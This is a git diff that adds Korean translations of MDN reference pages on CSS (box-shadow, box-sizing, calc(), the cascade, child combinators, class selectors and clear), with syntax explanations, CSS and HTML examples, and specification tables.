box-shadow CSS 속성은 요소의 테두리를 감싼 그림자 효과를 추가합니다. 쉼표로 구문해서 여러 그림자 효과를 입힐 수 있습니다. 박스 그림자는 요소에서의 수평수직 거리(오프셋), 흐릿함과 확산 정도, 색상으로 이루어집니다.

+ +

{{EmbedInteractiveExample("pages/css/box-shadow.html")}}

+ +

box-shadow 속성은 거의 모든 요소의 테두리에서 그림자를 드리울 수 있도록 도와줍니다. {{cssxref("border-radius")}}가 요소에 함께 적용됐다면 박스 그림자의 모서리도 똑같이 둥근 모서리를 갖게 됩니다. 여러 그림자의 z축 순서는 {{cssxref("text-shadow")}}와 동일하게 처음 그림자일수록 위로 올라옵니다.

+ +

박스 그림자 생성기는 상호작용형 도구로, 쉽게 box-shadow의 값을 생성할 수 있습니다.

+ +

구문

+ +
/* offset-x | offset-y | color */
+box-shadow: 60px -16px teal;
+
+/* offset-x | offset-y | blur-radius | color */
+box-shadow: 10px 5px 5px black;
+
+/* offset-x | offset-y | blur-radius | spread-radius | color */
+box-shadow: 2px 2px 2px 1px rgba(0, 0, 0, 0.2);
+
+/* inset | offset-x | offset-y | color */
+box-shadow: inset 5em 1em gold;
+
+/* Any number of shadows, separated by commas */
+box-shadow: 3px 3px red, -1em 0 0.4em olive;
+
+/* Global keywords */
+box-shadow: inherit;
+box-shadow: initial;
+box-shadow: unset;
+
+ +

하나의 box-shadow는 다음 구성요소로 지정할 수 있습니다.

+ +
    +
  • 두 개에서 네 개의 {{cssxref("<length>")}} 값. +
      +
    • 두 개의 값을 사용하면 <offset-x><offset-y>로 분석합니다.
    • +
    • 세 번째 값이 주어지면 <blur-radius>로 분석합니다.
    • +
    • 네 번째 값이 주어지면 <spread-radius>로 분석합니다.
    • +
    +
  • +
  • 선택사항으로 inset 키워드.
  • +
  • 선택사항으로 {{cssxref("<color>")}} 값.
  • +
+ +

+ +
+
inset
+
값을 지정하지 않으면(기본값) 요소가 공중에 떠있는 것처럼 밖에 드리우는 그림자가 됩니다.
+ inset 키워드가 존재하면 요소가 움푹 들어간 것처럼 그림자가 요소의 테두리 안, 배경색 위, 내부 콘텐츠 밑에 그려집니다.
+
<offset-x> <offset-y>
+
그림자의 위치를 설정하는 두 개의 {{cssxref("<length>")}} 값입니다. <offset-x>는 수평 거리를 의미하며 음수 값은 그림자를 요소의 왼쪽에 표시합니다. <offset-y>는 수직 거리를 의미하며 음수 값은 그림자를 요소의 위쪽에 표시합니다. 가능한 단위는 {{cssxref("<length>")}}를 참고하세요.
+ 두 값이 모두 0이면 그림자가 요소 바로 뒤쪽에 위치하며, <blur-radius> 또는 <spread-radius>가 존재하면 흐려지는 효과를 볼 수 있습니다.
+
<blur-radius>
+
세 번째 {{cssxref("<length>")}} 값입니다. 크면 클 수록 그림자 테두리가 흐려지므로 크기는 더 커지고 색은 더 밝아집니다. 음수 값은 사용할 수 없습니다. 값을 설정하지 않으면 0이 되어 테두리가 선명해집니다. 명세는 흐림 효과의 지름을 어떻게 계산해야 하는지 정확한 알고리즘은 명시하지 않았지만 대신 다음과 같이 설명하고 있습니다.
+
+

…for a long, straight shadow edge, this should create a color transition the length of the blur distance that is perpendicular to and centered on the shadow’s edge, and that ranges from the full shadow color at the radius endpoint inside the shadow to fully transparent at the endpoint outside it.

+
+
<spread-radius>
+
네 번째 {{cssxref("<length>")}} 값입니다. 양수 값은 그림자가 더 커지고 확산하며, 음수 값은 그림자가 줄어듭니다. 기본값은 0(그림자와 요소 크기 동일)입니다. 
+
<color>
+
가능한 키워드와 표기법은 {{cssxref("<color>")}}를 참고하세요.
+ 기본값은 브라우저에 따라 다릅니다. 보통 {{cssxref("color")}} 속성의 값을 사용하지만, Safari는 투명한 그림자가 기본값입니다.
+
+ +

보간

+ +

Each shadow in the list (treating none as a 0-length list) is interpolated via the color (as color) component, and x, y, blur, and (when appropriate) spread (as length) components. For each shadow, if both input shadows are or are not inset, then the interpolated shadow must match the input shadows in that regard. If any pair of input shadows has one inset and the other not inset, the entire shadow list is uninterpolable. If the lists of shadows have different lengths, then the shorter list is padded at the end with shadows whose color is transparent, all lengths are 0, and whose inset (or not) matches the longer list.

+ +

형식 구문

+ +
{{csssyntax}}
+
+ +

예제

+ + + +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Backgrounds', '#box-shadow', 'box-shadow') }}{{ Spec2('CSS3 Backgrounds') }} 
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ +

{{Compat("css.properties.box-shadow")}}

+ +

같이 보기

+ +
    +
  • {{cssxref("<color>")}} 자료형
  • +
  • Other color-related properties: {{cssxref("color")}}, {{cssxref("background-color")}}, {{cssxref("border-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("caret-color")}}, and {{cssxref("column-rule-color")}}
  • +
  • Applying color to HTML elements using CSS
  • +
diff --git a/files/ko/web/css/box-sizing/index.html b/files/ko/web/css/box-sizing/index.html new file mode 100644 index 0000000000..7241c0f65b --- /dev/null +++ b/files/ko/web/css/box-sizing/index.html @@ -0,0 +1,119 @@ +--- +title: box-sizing +slug: Web/CSS/box-sizing +tags: + - CSS + - CSS Property + - Reference +translation_of: Web/CSS/box-sizing +--- +
{{CSSRef}}
+ +

box-sizing CSS 속성은 요소의 너비와 높이를 계산하는 방법을 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/box-sizing.html")}}
+ + + +

CSS 박스 모델의 기본값에서, 지정한 너비와 높이는 요소의 콘텐츠 박스 크기에만 적용됩니다. 요소에 테두리나 안쪽 여백이 있으면 너비와 높이에 더해서 화면에 그립니다. 따라서 크기를 설정할 때, 원하는 크기를 얻으려면 테두리나 안쪽 여백을 고려해야 합니다.

+ +

box-sizing 속성을 사용해 이 방식을 바꿀 수 있습니다.

+ +
    +
  • content-box는 기본 CSS 박스 크기 결정법을 사용합니다. 요소의 너비를 100 픽셀로 설정하면 콘텐츠 영역이 100 픽셀 너비를 가지고, 테두리와 안쪽 여백은 이에 더해집니다.
  • +
  • border-box는 테두리와 안쪽 여백의 크기도 요소의 크기로 고려합니다. 너비를 100 픽셀로 설정하고 테두리와 안쪽 여백을 추가하면, 콘텐츠 영역이 줄어들어 총 너비 100 픽셀을 유지합니다. 대부분의 경우 이 편이 크기를 조절할 때 쉽습니다.
  • +
+ +

구문

+ +

box-sizing 속성은 다음 키워드 중 하나로 지정할 수 있습니다.

+ +

+ +
+
content-box
+
CSS 표준이 정의한 초기 기본값. {{Cssxref("width")}}와 {{Cssxref("height")}} 속성이 콘텐츠 영역만 포함하고 안팎 여백과 테두리는 포함하지 않습니다. 즉 .box {width: 350px; border: 10px solid black;}을 적용한 요소의 너비는 370px입니다.
+
요소의 크기는 너비 = 콘텐츠 너비, 높이 = 콘텐츠 높이로 계산하고 테두리와 안쪽 여백은 식에 넣지 않습니다.
+
border-box
+
{{Cssxref("width")}} 와 {{Cssxref("height")}} 속성이 안쪽 여백과 테두리는 포함하고, 바깥 여백은 포함하지 않습니다. 안쪽 여백과 테두리가 요소 상자 안에 위치함을 유의하세요. 즉 .box {width: 350px; border: 10px solid black;}을 적용한 요소의 너비는 350px입니다. 콘텐츠 영역의 크기는 음수일 수 없으므로 border-box를 사용해 요소를 사라지게 할 수는 없습니다.
+
요소의 크기는 너비 = 테두리 + 안쪽 여백 + 콘텐츠 너비, 높이 = 테두리 + 안쪽 여백 + 콘텐츠 높이로 계산합니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+
+ +

예제

+ +

다음 예제는 두 개의 동일한 요소의 크기가 서로 다른 box-sizing 값으로 어떻게 달라지는지 보입니다.

+ +

HTML

+ +
<div class="content-box">Content box</div>
+<br>
+<div class="border-box">Border box</div>
+ +

CSS

+ +
div {
+  width: 160px;
+  height: 80px;
+  padding: 20px;
+  border: 8px solid red;
+  background: yellow;
+}
+
+.content-box {
+  box-sizing: content-box;
+  /* Total width: 160px + (2 * 20px) + (2 * 8px) = 216px
+     Total height: 80px + (2 * 20px) + (2 * 8px) = 136px
+     Content box width: 160px
+     Content box height: 80px */
+}
+
+.border-box {
+  box-sizing: border-box;
+  /* Total width: 160px
+     Total height: 80px
+     Content box width: 160px - (2 * 20px) - (2 * 8px) = 104px
+     Content box height: 80px - (2 * 20px) - (2 * 8px) = 24px */
+}
+
+ +

결과

+ +

{{EmbedLiveSample('예제', 'auto', 300)}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Basic UI', '#box-sizing', 'box-sizing')}}{{Spec2('CSS3 Basic UI')}} 
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.box-sizing")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/calc()/index.html b/files/ko/web/css/calc()/index.html new file mode 100644 index 0000000000..7a155befb3 --- /dev/null +++ b/files/ko/web/css/calc()/index.html @@ -0,0 +1,160 @@ +--- +title: calc() +slug: Web/CSS/calc() +tags: + - CSS + - CSS Function + - Layout + - Reference + - Web +translation_of: Web/CSS/calc() +--- +
{{CSSRef}}
+ +

calc() CSS 함수를 사용하면 CSS 속성의 값으로 계산식을 지정할 수 있습니다. {{cssxref("<length>")}}, {{cssxref("<frequency>")}}, {{cssxref("<angle>")}}, {{cssxref("<time>")}}, {{cssxref("<percentage>")}}, {{cssxref("<number>")}}, 또는 {{cssxref("<integer>")}}를 받는 속성의 값으로 사용할 수 있습니다.

+ +

구문

+ +
/* property: calc(expression) */
+width: calc(100% - 80px);
+
+ +

calc() 함수는 매개변수로 표현식 하나를 받고, 표현식의 결과가 최종 값이 됩니다. 표현식은 단순 계산식은 무엇이든 가능하며, 표준 연산자 우선순위를 따릅니다.

+ +
+
+
+
덧셈.
+
-
+
뺄셈.
+
*
+
곱셈. 하나 이상의 피연산자가 {{cssxref("<number>")}}여야 합니다.
+
/
+
나눗셈. 오른쪽 피연산자는 {{cssxref("<number>")}}여야 합니다.
+
+ +

피연산자로는 {{cssxref("<length>")}} 구문의 아무 값이나 사용할 수 있고, 원한다면 서로 다른 단위끼리도 계산할 수 있습니다. 괄호를 사용해서 연산 순서를 바꿀 수도 있습니다.

+ +

참고

+ +
    +
  • 0으로 나누면 HTML 구문분석기에서 오류가 발생합니다.
  • +
  • +- 연산자는 좌우에 공백이 있어야 합니다. calc(50% -8px)은 백분율 값과 음수 길로 해석하여 유효하지 않지만, calc(50% - 8px)은 백분율과 길이의 뺄셈으로 해석합니다. 마찬가지로, calc(8px + -50%)는 길이와 음의 백분율간의 덧셈으로 처리합니다.
  • +
  • */ 연산자는 좌우 공백을 요구하지 않지만, 그래도 추가하는 편이 일관성을 유지하기에 좋습니다.
  • +
  • 표의 행, 열, 행/열 그룹, 자동이나 고정 레이아웃 칸에서 백분율을 포함한 수학식을 너비나 높이로 사용하면 auto 키워드를 사용한 것과 동일하게 처리합니다.
  • +
  • calc() 함수를 중첩해서 사용하면 내부의 calc()는 단순한 괄호로 간주합니다.
  • +
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

요소를 화면에 여백과 함께 배치하기

+ +

calc()를 이용하면 고정된 너비의 여백을 가진 요소를 쉽게 배치할 수 있습니다. 다음 예제에서는 화면을 가로지르면서 창의 좌우 모서리와 간격이 40픽셀인 배너를 생성합니다.

+ +
.banner {
+  position: absolute;
+  left: 40px;
+  width: calc(100% - 80px);
+  border: solid black 1px;
+  box-shadow: 1px 2px;
+  background-color: yellow;
+  padding: 6px;
+  text-align: center;
+  box-sizing: border-box;
+}
+ +
<div class="banner">이건 현수막입니다!</div>
+ +

{{EmbedLiveSample('요소를_화면에_여백과_함께_배치하기', 'auto', '60')}}

+ +

입력 양식 요소를 컨테이너 크기에 자동으로 맞추기

+ +

calc()의 다른 용도는 입력 양식의 필드가 적절한 여백을 갖추면서도 컨테이너 모서리 바깥으로 빠져나가지 않도록 설정하는 것입니다.

+ +

다음 CSS 코드를 살펴보세요.

+ +
input {
+  padding: 2px;
+  display: block;
+  width: calc(100% - 1em);
+}
+
+#formbox {
+  width: calc(100% / 6);
+  border: 1px solid black;
+  padding: 4px;
+}
+ +

위 코드에서, 폼 스스로는 창에서 사용 가능한 공간의 1/6을 차지합니다. 그 후, 입력 필드가 적절한 크기를 가질 수 컨테이너 너비에서 1em 뺀 만큼을 calc()로 지정했습니다. 이제 HTML에 CSS를 적용해보겠습니다.

+ +
<form>
+  <div id="formBox">
+    <label>뭔가 입력해 보세요.</label>
+    <input type="text">
+  </div>
+</form>
+
+ +

{{EmbedLiveSample('입력_양식_요소를_컨테이너_크기에_자동으로_맞추기', '100%', '80')}}

+ +

CSS 변수와 중첩 calc()

+ +

CSS 변수calc()와 같이 사용할 수 있습니다. 다음 코드를 살펴보세요.

+ +
.foo {
+  --widthA: 100px;
+  --widthB: calc(var(--widthA) / 2);
+  --widthC: calc(var(--widthB) / 2);
+  width: var(--widthC);
+}
+ +

모든 변수를 펼치면 widthC의 값은 calc( calc( 100px / 2) / 2)가 됩니다. 그 후 .foo의 너비 속성으로 지정될 때, 모든 중첩 calc()는 깊이에 관계 없이 단순한 괄호로 바뀌므로 width 속성의 값은 calc( ( 100px / 2) / 2), 즉 25px이 됩니다. 요약하자면 calc() 안의 calc()는 그냥 괄호와 같습니다.

+ +

접근성 고려사항

+ +

calc()를 사용해 글씨 크기를 조절할땐 아래 코드처럼 피연산자 중 하나로 꼭 상대길이 단위를 사용해주세요.

+ +
h1 {
+  font-size: calc(1.5rem + 3vw);
+}
+ +

이제 페이지를 확대해도 글씨 크기의 비율이 적절히 유지됩니다.

+ + + +

명세

+ + + + + + + + + + + + + + + + +
명세상태비고
{{SpecName('CSS3 Values', '#calc-notation', 'calc()')}}{{Spec2('CSS3 Values')}}최초로 정의됨.
+ +

브라우저 호환성

+ + + +

{{Compat("css.types.calc")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/cascade/index.html b/files/ko/web/css/cascade/index.html new file mode 100644 index 0000000000..e7d073cddb --- /dev/null +++ b/files/ko/web/css/cascade/index.html @@ -0,0 +1,229 @@ +--- +title: 종속 +slug: Web/CSS/Cascade +tags: + - CSS + - Guide + - Introduction + - Layout + - Reference +translation_of: Web/CSS/Cascade +--- +
{{CSSRef}}
+ +

종속(Cascade)이란 서로 다른 원점에서 가져온 속성 여럿을 조합해 최종 결과를 도출하는 알고리즘입니다. Cascading Style Sheets라는 이름에서도 알 수 있듯 종속은 CSS의 중심입니다. 이 글은 종속이 무엇인지, 선언한 {{Glossary("CSS")}} 정의가 어떤 순서로 종속되는지, 그리고 여러분, 즉 웹 개발자에게 어떤 영향을 주는지 설명합니다.

+ +

Which CSS entities participate in the cascade

+ +

Only CSS declarations, that is property/value pairs, participate in the cascade. This means that at-rules containing entities other than declarations, such as a {{ cssxref("@font-face")}} rule containing descriptors, don't participate in the cascade. In these cases, only the at-rule as a whole participates in the cascade: here, the @font-face identified by its font-family descriptor. If several @font-face rules with the same descriptor are defined, only the most appropriate @font-face, as a whole, is considered.

+ +

While the declarations contained in most at-rules — such as those in {{cssxref("@media")}}, {{cssxref("@document")}}, or {{cssxref("@supports")}} — participate in the cascade, declarations contained in {{cssxref("@keyframes")}} don't. As with @font-face, only the at-rule as a whole is selected via the cascade algorithm.

+ +

Finally, note that {{cssxref("@import")}} and {{cssxref("@charset")}} obey specific algorithms and aren't affected by the cascade algorithm.

+ +

Origin of CSS declarations

+ +

The CSS cascade algorithm's job is to select CSS declarations in order to determine the correct values for CSS properties. CSS declarations originate from different origins: the {{anch("User-agent stylesheets")}}, the {{anch("Author stylesheets")}}, and the {{anch("User stylesheets")}}.

+ +

Though style sheets come from these different origins, they overlap in scope; to make this work, the cascade algorithm defines how they interact.

+ +

User-agent stylesheets

+ +

The browser has a basic style sheet that gives a default style to any document. These style sheets are named user-agent stylesheets. Some browsers use actual style sheets for this purpose, while others simulate them in code, but the end result is the same.

+ +

Some browsers let users modify the user-agent stylesheet. Although some constraints on user-agent stylesheets are set by the HTML specification, browsers still have a lot of latitude: that means that significant differences exist from one browser to another. To simplify the development process, Web developers often use a CSS reset style sheet, forcing common properties values to a known state before beginning to make alterations to suit their specific needs.

+ +

Author stylesheets

+ +

Author stylesheets are the most common type of style sheet. These are style sheets that define styles as part of the design of a given web page or site. The author of the page defines the styles for the document using one or more stylesheets, which define the look and feel of the website — its theme.

+ +

User stylesheets

+ +

The user (or reader) of the web site can choose to override styles in many browsers using a custom user stylesheet designed to tailor the experience to the user's wishes.

+ +

Override stylesheets {{Obsolete_Inline}}

+ +

This feature was never implemented outside of Gecko, where it was only ever used for the non-standard XBL stylesheets.

+ +

Cascading order

+ +

The cascading algorithm determines how to find the value to apply for each property for each document element.

+ +
    +
  1. It first filters all the rules from the different sources to keep only the rules that apply to a given element. That means rules whose selector matches the given element and which are part of an appropriate media at-rule.
  2. +
  3. Then it sorts these rules according to their importance, that is, whether or not they are followed by !important, and by their origin. The cascade is in ascending order, which means that !important values from a user-defined style sheet have precedence over normal values originated from a user-agent style sheet: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
     OriginImportance
    1CSS Transitionssee below
    2user agentnormal
    3usernormal
     override {{Obsolete_Inline}}normal
    4authornormal
    5CSS Animationssee below
     override {{Obsolete_Inline}}!important
    6author!important
    7user!important
    8user agent!important
    +
  4. +
  5. In case of equality, the specificity of a value is considered to choose one or the other.
  6. +
+ +

Resetting styles

+ +

After your content has finished altering styles, it may find itself in a situation where it needs to restore them to a known state. This may happen in cases of animations, theme changes, and so forth. The CSS property {{cssxref("all")}} lets you quickly set (almost) everything in CSS back to a known state.

+ +

all lets you opt to immediately restore all properties to any of their initial (default) state, the state inherited from the previous level of the cascade, a specific origin (the user-agent stylesheet, the author stylesheet, or the user stylesheet), or even to clear the values of the properties entirely.

+ +

CSS animations and the cascade

+ +

CSS animations, using {{ cssxref("@keyframes")}} at-rules, define animations between states. Keyframes don't cascade, meaning that at any given time CSS takes values from only one single {{cssxref("@keyframes")}}, and never mixes multiple ones together.

+ +

When several keyframes are appropriate, it chooses the latest defined in the most important document, but never combined all together.

+ +

Also note that values within @keyframes at-rules overwrite all normal values but are overwritten by !important values.

+ +

Example

+ +

Let's look at an example involving multiple sources of CSS across the various origins; here we have a user agent style sheet, two author style sheets, a user stylesheet, and inline styles within the HTML:

+ +

User-agent CSS:

+ +
li { margin-left: 10px }
+ +

Author CSS 1:

+ +
li { margin-left: 0 } /* This is a reset */
+ +

Author CSS 2:

+ +
@media screen {
+  li { margin-left: 3px }
+}
+
+@media print {
+  li { margin-left: 1px }
+}
+
+ +

User CSS:

+ +
.specific { margin-left: 1em }
+ +

HTML:

+ +
<ul>
+  <li class="specific">1<sup>st</sup></li>
+  <li>2<sup>nd</sup></li>
+</ul>
+
+ +

In this case, declarations inside li and .specific rules should apply. No declaration is marked as !important, so the precedence order is author style sheets before user style sheets or user-agent stylesheet.

+ +

So three declarations are in competition:

+ +
margin-left: 0
+ +
margin-left: 3px
+ +
margin-left: 1px
+ +

The last one is ignored (on a screen), and the first two have the same selector, hence the same specificity. Therefore, it is the last one that is then selected:

+ +
margin-left: 3px
+ +

Note that the declaration defined in the user CSS, though having a greater specifity, is not chosen as the cascade algorithm is applied before the specifity algorithm.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS4 Cascade")}}{{Spec2("CSS4 Cascade")}}Added the {{CSSxRef("revert")}} keyword, which allows rolling a property back a cascade level.
{{SpecName("CSS3 Cascade")}}{{Spec2("CSS3 Cascade")}}Removed the override cascade origin, as it was never used in a W3C standard.
{{SpecName("CSS2.1", "cascade.html", "the cascade")}}{{Spec2("CSS2.1")}} 
{{SpecName("DOM2 Style","css.html#CSS-OverrideAndComputed","override cascade origin")}}{{Spec2("DOM2 Style")}}Defined the override cascade origin, but didn't elaborate further.
{{SpecName("CSS1", "#the-cascade", "the cascade")}}{{Spec2("CSS1")}}Initial definition.
+ +

See also

+ + diff --git a/files/ko/web/css/child_combinator/index.html b/files/ko/web/css/child_combinator/index.html new file mode 100644 index 0000000000..dceec68d92 --- /dev/null +++ b/files/ko/web/css/child_combinator/index.html @@ -0,0 +1,92 @@ +--- +title: 자식 결합자 +slug: Web/CSS/Child_combinator +tags: + - CSS + - Reference + - Selectors +translation_of: Web/CSS/Child_combinator +--- +
{{CSSRef("Selectors")}}
+ +

자식 결합자(>)는 두 개의 CSS 선택자 사이에 위치하여 뒤쪽 선택자의 요소가 앞쪽 선택자 요소의 바로 밑에 위치할 경우에만 선택합니다.

+ +
/* List items that are children of the "my-things" list */
+ul.my-things > li {
+  margin: 2em;
+}
+ +

뒤쪽 선택자의 요소는 앞쪽 선택자 요소의 바로 아래에 위치해야 하므로, DOM 트리의 깊이에 상관하지 않고 아래의 모든 요소를 선택하는 자손 결합자보다 더 엄격합니다.

+ +

구문

+ +
selector1 > selector2 { style properties }
+
+ +

예제

+ +

CSS

+ +
span {
+  background-color: white;
+}
+
+div > span {
+  background-color: DodgerBlue;
+}
+
+ +

HTML

+ +
<div>
+  <span>Span #1, in the div.
+    <span>Span #2, in the span that's in the div.</span>
+  </span>
+</div>
+<span>Span #3, not in the div at all.</span>
+
+ +

결과

+ +

{{EmbedLiveSample("예제", "100%", 100)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS4 Selectors", "#child-combinators", "child combinator")}}{{Spec2("CSS4 Selectors")}}
{{SpecName("CSS3 Selectors", "#child-combinators", "child combinators")}}{{Spec2("CSS3 Selectors")}}No change.
{{SpecName("CSS2.1", "selector.html#child-selectors", "child selectors")}}{{Spec2("CSS2.1")}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.selectors.child")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/class_selectors/index.html b/files/ko/web/css/class_selectors/index.html new file mode 100644 index 0000000000..70c84faa98 --- /dev/null +++ b/files/ko/web/css/class_selectors/index.html @@ -0,0 +1,107 @@ +--- +title: 클래스 선택자 +slug: Web/CSS/Class_selectors +tags: + - CSS + - Reference + - Selectors +translation_of: Web/CSS/Class_selectors +--- +
{{CSSRef}}
+ +

CSS 클래스 선택자는 요소의 {{htmlattrxref("class")}} 특성에 기반해 요소를 선택합니다.

+ +
/* All elements with class="spacious" */
+.spacious {
+  margin: 2em;
+}
+
+/* All <li> elements with class="spacious" */
+li.spacious {
+  margin: 2em;
+}
+
+/* All <li> elements with a class list that includes both "spacious" and "elegant" */
+/* For example, class="elegant retro spacious" */
+li.spacious.elegant {
+  margin: 2em;
+}
+
+ +

구문

+ +
.class_name { style properties }
+ +

위의 구문은 특성 선택자를 사용한 다음 구문과 동일합니다.

+ +
[class~=class_name] { style properties }
+ +

예제

+ +

CSS

+ +
.red {
+  color: #f33;
+}
+
+.yellow-bg {
+  background: #ffa;
+}
+
+.fancy {
+  font-weight: bold;
+  text-shadow: 4px 4px 3px #77f;
+}
+
+ +

HTML

+ +
<p class="red">빨간 글자색의 문단입니다.</p>
+<p class="red yellow-bg">빨간 글자색과 노란 배경의 문단입니다.</p>
+<p class="red fancy">빨간 글자색과 "멋진" 스타일을 가진 문단입니다.</p>
+<p>이건 그냥 문단이에요.</p>
+
+ +

결과

+ +

{{EmbedLiveSample('예제')}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Selectors', '#class-html', 'class selectors')}}{{Spec2('CSS4 Selectors')}}No changes
{{SpecName('CSS3 Selectors', '#class-html', 'class selectors')}}{{Spec2('CSS3 Selectors')}}
{{SpecName('CSS2.1', 'selector.html#class-html', 'child selectors')}}{{Spec2('CSS2.1')}}
{{SpecName('CSS1', '#class-as-selector', 'child selectors')}}{{Spec2('CSS1')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("css.selectors.class")}}

diff --git a/files/ko/web/css/clear/index.html b/files/ko/web/css/clear/index.html new file mode 100644 index 0000000000..f4ed21f1e9 --- /dev/null +++ b/files/ko/web/css/clear/index.html @@ -0,0 +1,231 @@ +--- +title: clear +slug: Web/CSS/clear +tags: + - CSS + - CSS Positioning + - CSS Property + - Reference +translation_of: Web/CSS/clear +--- +
{{CSSRef}}
+ +

clear CSS 속성은 요소가 선행 부동(floating) 요소 다음일 수 있는지 또는 그 아래로 내려가(해제되어(cleared))야 하는 지를 지정합니다. clear 속성은 부동 및 비부동 요소 모두에 적용됩니다.

+ +
{{EmbedInteractiveExample("pages/css/clear.html")}}
+ + + +

비부동 블록에 적용되는 경우, 모든 관련 부동체(floats)의 마진 경계 아래로까지 요소의 보더 경계를 아래로 내립니다. 이 움직임(이 일어나는 경우)은 마진 상쇄가 일어나지 않도록 합니다.

+ +

부동 요소에 적용되는 경우, 모든 관련 부동체의 마진 경계 아래로 요소의 마진 경계를 옮깁니다. 이는 나중(later) 부동체의 위치에 영향을 줍니다, 나중 부동체가 앞선(earlier) 부동체보다 높게 위치될 수 없기에.

+ +

해제(cleared)와 관련된 부동체는 같은 블록 형성 문맥 내 앞선 부동체입니다.

+ +
+

주의: 요소가 그 안에 모든 부동 요소를 포함하고 싶은 경우, 컨테이너도 부동하거나 컨테이너의 {{cssxref("::after")}} 대체 가상 요소clear를 쓸 수 있습니다.

+ +
#container::after {
+   content: "";
+   display: block;
+   clear: both;
+}
+
+
+ +

구문

+ +
/* 키워드 값 */
+clear: none;
+clear: left;
+clear: right;
+clear: both;
+clear: inline-start;
+clear: inline-end;
+
+/* 전역 값 */
+clear: inherit;
+clear: initial;
+clear: unset;
+ +

+ +
+
none
+
요소가 지난 부동 요소를 해제하기 위해 아래로 이동되지 않음을 나타내는 키워드입니다.
+
left
+
요소가 지난 left 부동체를 해제하기 위해 아래로 이동됨을 나타내는 키워드입니다.
+
right
+
요소가 지난 right 부동체를 해제하기 위해 아래로 이동됨을 나타내는 키워드입니다.
+
both
+
요소가 지난 both left 및 right 부동체를 해제하기 위해 아래로 이동됨을 나타내는 키워드입니다.
+
inline-start
+
요소가 포함 블록의 시작 쪽 부동체를 해제하기 위해 아래로 이동됨을 나타내는 키워드입니다, 즉 ltr 스크립트의 left 부동체 및 rtl 스크립트의 right 부동체.
+
inline-end
+
요소가 포함 블록의 끝 쪽 부동체를 해제하기 위해 아래로 이동됨을 나타내는 키워드입니다, 즉 ltr 스크립트의 right 부동체 및 rtl 스크립트의 left 부동체.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

clear: left

+ +

HTML

+ +
<div class="wrapper">
+  <p class="black">Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Phasellus sit amet diam. Duis mattis varius dui. Suspendisse eget dolor.</p>
+  <p class="red">Lorem ipsum dolor sit amet, consectetuer adipiscing elit.</p>
+  <p class="left">This paragraph clears left.</p>
+</div>
+ +

CSS

+ +
.wrapper{
+    border:1px solid black;
+    padding:10px;
+}
+.left {
+    border: 1px solid black;
+    clear: left;
+}
+.black {
+    float: left;
+    margin: 0;
+    background-color: black;
+    color: #fff;
+    width: 20%;
+}
+.red {
+    float: left;
+    margin: 0;
+    background-color: red;
+    width:20%;
+}
+p {
+    width: 50%;
+}
+
+ +

{{ EmbedLiveSample('clear:_left','100%','250') }}

+ +

clear: right

+ +

HTML

+ +
<div class="wrapper">
+  <p class="black">Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Phasellus sit amet diam. Duis mattis varius dui. Suspendisse eget dolor.</p>
+  <p class="red">Lorem ipsum dolor sit amet, consectetuer adipiscing elit.</p>
+  <p class="right">This paragraph clears right.</p>
+</div>
+ +

CSS

+ +
.wrapper{
+    border:1px solid black;
+    padding:10px;
+}
+.right {
+    border: 1px solid black;
+    clear: right;
+}
+.black {
+    float: right;
+    margin: 0;
+    background-color: black;
+    color: #fff;
+    width:20%;
+}
+.red {
+    float: right;
+    margin: 0;
+    background-color: red;
+    width:20%;
+}
+p {
+    width: 50%;
+}
+ +

{{ EmbedLiveSample('clear:_right','100%','250') }}

+ +

clear: both

+ +

HTML

+ +
<div class="wrapper">
+  <p class="black">Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Phasellus sit amet diam. Duis mattis varius dui. Suspendisse eget dolor. Fusce pulvinar lacus ac dui.</p>
+  <p class="red">Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Phasellus sit amet diam. Duis mattis varius dui. Suspendisse eget dolor.</p>
+  <p class="both">This paragraph clears both.</p>
+</div>
+ +

CSS

+ +
.wrapper{
+    border:1px solid black;
+    padding:10px;
+}
+.both {
+    border: 1px solid black;
+    clear: both;
+}
+.black {
+    float: left;
+    margin: 0;
+    background-color: black;
+    color: #fff;
+    width:20%;
+}
+.red {
+    float: right;
+    margin: 0;
+    background-color: red;
+    width:20%;
+}
+p {
+    width: 45%;
+}
+ +

{{ EmbedLiveSample('clear:_both','100%','300') }}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS Logical Properties', '#float-clear', 'float and clear')}}{{Spec2('CSS Logical Properties')}}inline-startinline-end 값 추가
{{SpecName('CSS2.1', 'visuren.html#flow-control', 'clear')}}{{Spec2('CSS2.1')}}중요한 변화 없음, 세부사항은 명확해졌지만.
{{SpecName('CSS1', '#clear', 'clear')}}{{Spec2('CSS1')}}초기 정의
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ +
{{Compat("css.properties.clear")}}
+ +

같이 보기

